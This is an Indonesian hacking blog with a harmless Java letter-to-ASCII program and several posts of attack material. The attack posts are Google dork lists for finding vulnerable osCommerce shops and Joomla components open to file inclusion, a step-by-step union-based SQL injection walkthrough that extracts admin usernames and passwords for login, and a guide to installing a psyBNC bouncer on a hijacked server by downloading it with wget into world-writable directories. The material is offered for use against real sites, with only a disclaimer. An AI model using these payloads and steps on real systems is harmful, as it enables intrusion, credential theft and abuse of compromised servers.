Saturday, 27 August 2011

Contoh Program Mengubah Kode Huruf Ke ASCI dengan Read51:

Berikut buat para pembaca blog saya, ini ada contoh program yang di tujukan untuk mengubah input huruf dengan menjadikan outputnya dalam bentuk kode ASCI yang saya buat dengan menggunakan Read51:

import javax.swing.*;
import java.util.Scanner;

public class hurufkeasci
{
public static void main(String[]args)
{
Scanner input = new Scanner(System.in);
String str;
char a,b,c,d,e,f,g,h; System.out.print("huruf 1= ");
str = input.next();
a = str.charAt(0);
System.out.print("huruf 2= ");
str = input.next();
b = str.charAt(0);
System.out.print("huruf 3= ");
str = input.next();
c = str.charAt(0);
System.out.print("huruf 4= ");
str = input.next();
d = str.charAt(0);
System.out.print("huruf 5= ");
str = input.next();
e = str.charAt(0);
System.out.print("huruf 6= ");
str = input.next();
f = str.charAt(0);
System.out.print("huruf 7= ");
str = input.next();
g = str.charAt(0);
System.out.print("huruf 8= ");
str = input.next();
h = str.charAt(0);
System.out.println(""+a+" = "+(int)a);
System.out.println(""+b+" = "+(int)b);
System.out.println(""+c+" = "+(int)c);
System.out.println(""+d+" = "+(int)d);
System.out.println(""+e+" = "+(int)e);
System.out.println(""+f+" = "+(int)f);
System.out.println(""+g+" = "+(int)g);
System.out.println(""+h+" = "+(int)h);
System.exit(0);
}
}
Selengkapnya...

Saturday, 13 August 2011

Bug Dork Osco 2011

!osco "os_commerce"
!osco "/includes/classes/object_info.php"
!osco "/home/images/"+"oscommerce"
!osco "*.php?cPath=55" +Product
!osco "*.php?cPath=77" +Product
!osco "*.php?cPath=20" +Product
!osco "*.php?cPath=25" +Product
!osco "Ecommerce Hosting by BigCommerce"

!osco "by BigCommerce"
!osco /googlecheckout/gcheckout.php
!osco /includes/modules/order_total
!osco /osc/catalog/admin
!osco /osc/catalog
!osco /store/includes/classes
!osco "oScommerce /catalog/includes/"
!osco /includes/classes/object_info.php
!osco /includes/functions/function.php
!osco /includes/functions/database.php
!osco "Powered by oScommerce"
!osco /catalog/index.php
!osco /admin/categories.php/login.php
!osco /catalog/images
!osco /catalog/classes
!osco /images/product_info.php
!osco /oscommerce/images/product_info.php
!osco /oscommerce/product_info.php
!osco "*.php?14" osc
!osco shop "My Account | Cart Contents | Checkout
!osco "by oscommerce" +web
!osco "by oscommerce" +"/shop/"
!osco "/index" "by oscommerce" +nl
!osco "/index" "by oscommerce" +ru
!osco "/admin/file_manager.php"
!osco index.php?cPath= ".com"
!osco "/asc/"+"Hard Drives"
!osco "powered by oscommerce" +new product
!osco "powered by oscommerce" +catalog
!osco "/store"+"*.php?cPath=28" site:.my
!osco "powered by oscommerce" +os_commerce
!osco "powered by oscommerce" +osc2
!osco "powered by oscommerce" +osc_
!osco "powered by oscommerce" +sys
!osco "powered by oscommerce" +/tienda/
Selengkapnya...

Friday, 12 August 2011

Belajar SQL Injection

pengertian sql injection:
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data. catatan: posting ini untuk hanya sebagai pengetahuan saja apapun yang terjadi, pembobolan web atau lainya diluar tanggung jawab penulis. :D

Yang perlu di ketahui sebelum sql injection pada mysql:

karakter: ',-
comments: /*,--
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x
allinurl:news.php?newsid=

1. Carilah target
misal: [site]/berita.php?id=100

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh: [site]/berita.php?id=100' atau
[site]/berita.php?id=-100

2. Mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by

contoh: [site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*

ceklah secara step by step...
misal: [site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--

sehingga muncul error atau hilang pesan error...
misal: [site]/berita.php?id=-100+order+by+9--

berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--



3. Untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--

lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..


4. Untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--

seumpama table yang muncul adalah "admin"

5. Untuk menampilkan semua isi dari table tersebut adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name) ,6,7,8+from+information_schema.tables+where+table_schema=database()--



6. Perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir


[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa--

pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :http://piclist.com/techref/ascii.htm
http://www.industrialtrainer.com/Unicode.shtm
http://www.dolcevie.com/js/converter.html
http://centricle.com/tools/ascii-hex/ [dan lain sebagainya]
contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E--

7. Memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir


[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--



contoh kata yang keluar adalah id,username,password

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--


8. Tahap terakhir mencari halaman admin atau login admin kemudian anda bisa login ke web tersebut dengan username dan password hasil proses inject dengan sql


Selengkapnya...

Bugs Dork Lfi 2011

!lfi /index.php?option=com_myblog&Itemid=12&task= “com_myblog”
!lfi /index.php?option=com_juliaportfolio&controller= “com_juliaportfolio”
!lfi /index.php?option=com_sbsfile&controller= “com_sbsfile”
!lfi /index.php?option=com_rokdownloads&controller= “com_rokdownloads”
!lfi /index.php?option=com_sectionex&controller= “com_sectionex”
!lfi /index.php?option=com_ganalytics&controller= “com_ganalytics”
!lfi /index.php?option=com_janews&controller= “com_janews”

!lfi /index.php?option=com_linkr&controller= “com_linkr”
!lfi /index.php?option=com_rpx&controller= “com_rpx”
!lfi /index.php?option=com_ninjarsssyndicator&controller= “com_ninjarsssyndicator”
!lfi /index.php?option=com_gcalendar&controller= “com_gcalendar”
!lfi /index.php?option=com_ckforms&controller= “com_ckforms”
!lfi /index.php?option=com_jeformcr&view= “com_jeformcr”
!lfi /index.php?option=com_jresearch&controller= “com_jresearch”
!lfi /index.php?option=com_smestorage&controller= “com_smestorage”
!lfi /index.php?option=com_properties&controller= “com_properties”
!lfi /index.php?option=com_dwgraphs&controller= “com_dwgraphs”
!lfi /index.php?option=com_weberpcustomer&controller= “com_weberpcustomer”
!lfi /index.php?option=com_userstatus&controller= “com_userstatus”
!lfi /index.php?option=com_econtent&controller= “com_econtent”
!lfi /index.php?option=com_jvehicles&controller= “com_jvehicles”
!lfi /index.php?option=com_joomlapicasa2&controller= “com_joomlapicasa2″
!lfi /index.php?option=com_svmap&controller= “com_svmap”
!lfi /index.php?option=com_shoutbox&controller= “com_shoutbox”
!lfi /index.php?option=com_loginbox&view= “com_loginbox”
!lfi /index.php?option=com_myblog&Itemid=12&task= “com_myblog”
!lfi /index.php?option=com_juliaportfolio&controller= “com_juliaportfolio”
!lfi /index.php?option=com_sbsfile&controller= “com_sbsfile”
!lfi /index.php?option=com_rokdownloads&controller= “com_rokdownloads”
!lfi /index.php?option=com_sectionex&controller= “com_sectionex”
!lfi /index.php?option=com_ganalytics&controller= “com_ganalytics”
!lfi /index.php?option=com_janews&controller= “com_janews”
!lfi /index.php?option=com_linkr&controller= “com_linkr”
!lfi /index.php?option=com_rpx&controller= “com_rpx”
!lfi /index.php?option=com_ninjarsssyndicator&controller= “com_ninjarsssyndicator”
!lfi /index.php?option=com_gcalendar&controller= “com_gcalendar”
!lfi /index.php?option=com_ckforms&controller= “com_ckforms”
!lfi /index.php?option=com_jeformcr&view= “com_jeformcr”
!lfi /index.php?option=com_jresearch&controller= “com_jresearch”
!lfi /index.php?option=com_smestorage&controller= “com_smestorage”
!lfi /index.php?option=com_properties&controller= “com_properties”
!lfi /index.php?option=com_dwgraphs&controller= “com_dwgraphs”
!lfi /index.php?option=com_weberpcustomer&controller= “com_weberpcustomer”
!lfi /index.php?option=com_userstatus&controller= “com_userstatus”
!lfi /index.php?option=com_econtent&controller= “com_econtent”
!lfi /index.php?option=com_jvehicles&controller= “com_jvehicles”
!lfi /index.php?option=com_joomlapicasa2&controller= “com_joomlapicasa2″
!lfi /index.php?option=com_svmap&controller= “com_svmap”
!lfi /index.php?option=com_shoutbox&controller= “com_shoutbox”
!lfi /index.php?option=com_loginbox&view= “com_loginbox”
!lfi /index.php?option=com_bca-rss-syndicator&controller= “com_bca-rss-syndicator”
!lfi /index.php?option=com_joomlaupdater&controller= “com_joomlaupdater”
!lfi /index.php?option=com_redshop&view= “com_redshop”
!lfi /index.php?option=com_redtwitter&view= “com_redtwitter”
!lfi /index.php?option=com_wisroyq&controller= “com_wisroyq”
!lfi /index.php?option=com_jinventory&controller= “com_jinventory”
!lfi /index.php?option=com_appointment&controller= “com_appointment”
!lfi /index.php?option=com_datafeeds&controller= “com_datafeeds”
!lfi /index.php?option=com_fabrik&controller= “com_fabrik”
!lfi /index.php?option=com_hsconfig&controller= “com_hsconfig”
!lfi /index.php?option=com_joomlaflickr&controller= “com_joomlaflickr”
!lfi /index.php?option=com_jukebox&controller= “com_jukebox”
!lfi /index.php?option=com_jwhmcs&controller= “com_jwhmcs”
!lfi /index.php?option=com_sebercart&view= “com_sebercart”
!lfi /index.php?option=com_awiki&controller= “com_awiki”
!lfi /index.php?option=com_vjdeo&controller= “com_vjdeo”
!lfi /index.php?option=com_awdwall&controller= “com_awdwall”
!lfi /index.php?option=com_realtyna&controller= “com_realtyna”
!lfi /index.php?option=com_webeecomment&controller= “com_webeecomment”
!lfi /index.php?option=com_javoice&view= “com_javoice”
!lfi /index.php?option=com_foobla_suggestions&controller= “com_foobla_suggestions”
!lfi /index.php?option=com_powermail&controller= “com_powermail”
!lfi /index.php?option=com_pcchess&controller= “com_pcchess”
!lfi /index.php?option=com_spsnewsletter&controller= “com_spsnewsletter”
!lfi /index.php?option=com_alphauserpoints&view= “com_alphauserpoints”
!lfi /index.php?option=com_travelbook&controller= “com_travelbook”
!lfi /index.php?option=com_tweetla&controller= “com_tweetla”
!lfi /index.php?option=com_ticketbook&controller= “com_ticketbook”
!lfi /index.php?option=com_jajobboard&view= “com_jajobboard”
!lfi /index.php?option=com_jajobboard&controller= “com_jajobboard”
!lfi /index.php?option=com_jfeedback&controller= “com_jfeedback”
!lfi /index.php?option=com_jprojectmanager&controller= “com_jprojectmanager”
!lfi /index.php?option=com_preventive&controller= “com_preventive”
!lfi /index.php?option=com_myfiles&controller= “com_myfiles”
!lfi /index.php?option=com_onlineexam&controller= “com_onlineexam”
!lfi /index.php?option=com_joommail&controller= “com_joommail”
!lfi /index.php?option=com_memory&controller= “com_memory”
!lfi /index.php?option=com_market&controller= “com_market”
!lfi /index.php?option=com_diary&controller= “com_diary”
!lfi /index.php?option=com_webtv&controller= “com_webtv”
!lfi /index.php?option=com_horoscope&controller= “com_horoscope”
!lfi /index.php?option=com_arcadegames&controller= “com_arcadegames”
!lfi /index.php?option=com_flashgames&controller= “com_flashgames”
!lfi /index.php?option=com_addressbook&controller= “com_addressbook”
!lfi /index.php?option=com_flexicontent&controller= “com_flexicontent”
!lfi /index.php?option=com_advertising&controller= “com_advertising”
!lfi /index.php?option=com_cvmaker&controller= “com_cvmaker”
!lfi /index.php?option=com_worldrates&controller= “com_worldrates”
!lfi /index.php?option=com_record&controller= “com_record”
!lfi /index.php?option=com_sweetykeeper&controller= “com_sweetykeeper”
!lfi /index.php?option=com_beeheard&controller= “com_beeheard”
!lfi /index.php?option=com_blogfactory&controller= “com_blogfactory”
!lfi /index.php?option=com_delicious&controller= “com_delicious”
!lfi /index.php?option=com_jacomment&view= “com_jacomment”
!lfi /index.php?option=com_lovefactory&controller= “com_lovefactory”
!lfi /index.php?option=com_mtfireeagle&controller= “com_mtfireeagle”
!lfi /index.php?option=com_photobattle&view= “com_photobattle”
!lfi /index.php?option=com_s5clanroster&view= “com_s5clanroster”
!lfi /index.php?option=com_s5clanroster&controller= “com_s5clanroster”
!lfi /index.php?option=com_wgpicasa&controller= “com_wgpicasa”
!lfi /index.php?option=com_zimbcomment&controller= “com_zimbcomment”
!lfi /index.php?option=com_zimbcore&controller= “com_zimbcore”
!lfi /index.php?option=com_gadgetfactory&controller= “com_gadgetfactory”
!lfi /index.php?option=com_matamko&controller= “com_matamko”
!lfi /index.php?option=com_archeryscores&controller= “com_archeryscores”
!lfi /index.php?option=com_multiroot&controller= “com_multiroot”
!lfi /index.php?option=com_multimap&controller= “com_multimap”
!lfi /index.php?option=com_drawroot&controller= “com_drawroot”
!lfi /index.php?option=com_google&controller= “com_google”
!lfi /index.php?option=com_if_surfalert&controller= “com_if_surfalert”
!lfi /index.php?option=com_orgchart&controller= “com_orgchart”
!lfi /index.php?option=com_mmsblog&controller= “com_mmsblog”
!lfi /index.php?option=com_wmi&controller= “com_wmi”
!lfi /index.php?option=com_ultimateportfolio&controller= “com_ultimateportfolio”
!lfi /index.php?option=com_noticeboard&controller= “com_noticeboard”
!lfi /index.php?option=com_smartsite&controller= “com_smartsite”
!lfi /index.php?option=com_graphics&controller= “com_graphics”
!lfi /index.php?option=com_php&file= “com_php”
!lfi /index.php?option=com_aardvertiser&task= “com_aardvertiser”
!lfi /index.php?option=com_jejob&view= “com_jejob”
!lfi /index.php?option=com_jeajaxeventcalendar&view= “com_jeajaxeventcalendar”
!lfi /index.php?option=com_dioneformwizard&controller= “com_dioneformwizard”
!lfi /index.php?option=com_jequoteform&view= “com_jequoteform”
!lfi /index.php?option=com_mscomment&controller= “com_mscomment”
!lfi /index.php?option=com_simpledownload&controller= “com_simpledownload”
!lfi /index.php?option=com_event&view= “com_event”
!lfi /index.php?option=com_product&controller= “com_product”
!lfi /index.php?option=com_job&controller= “com_job”
!lfi /index2.php?option=com_simpledownload&controller= “com_simpledownload”
!lfi /index.php?option=com_perchaimageattach&controller= “com_perchaimageattach”
!lfi /index.php?option=com_perchafieldsattach&controller= “com_perchafieldsattach”
!lfi /index.php?option=com_perchagallery&controller= “com_perchagallery”
Selengkapnya...

Cara Membuat PsyBNC pada Shell Inject

Cara Membuat PsyBNC pada shell inject sebagai berikut :

1. Masuk ke dalam shell inject anda

2. Pilih direktory yang memiliki perm 777 ( bisa di eksekusi ) kalo tidak ketemu gunakan perintah find / -type d -perm 777 untuk mencari direktori yang memiliki perm 777.


3. Jika sudah temukan direktori memiliki perm 777 langsung masukin perintah ini :
wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-9.tar.gz atau perintah lwp-download http://www.psybnc.at/download/beta/psyBNC-2.3.2-9.tar.gz atau bisa juga dengan perintah curl -f -O http://www.psybnc.at/download/beta/psyBNC-2.3.2-9.tar.gz tinggal pilih perintah yang mana yang bisa digunakan untuk memasukkan psy.tar.gz ke dalam shell inject..kemudian perintah selanjutnya

4. tar -zxvf psyBNC-2.3.2-9.tar.gz ( untuk mengekstrak file psy.tar.gz di shell )

5. rm -fr psyBNC-2.3.2-9.tar.gz

6. cd .psy (masuk ke direktori .psy)

7. ./config ident port (contoh : ./config admin 12000) (jangan lupa tanda . di depannya)

8. ./fuck

9. ./run

jadi di untuk login ke psybnc di mirc anda akan menggunakan ident:admin dan menggunakan /server ip-shellanda:12000 (contoh : /server 192.52.45.15:12000)

silahkan di coba
Selengkapnya...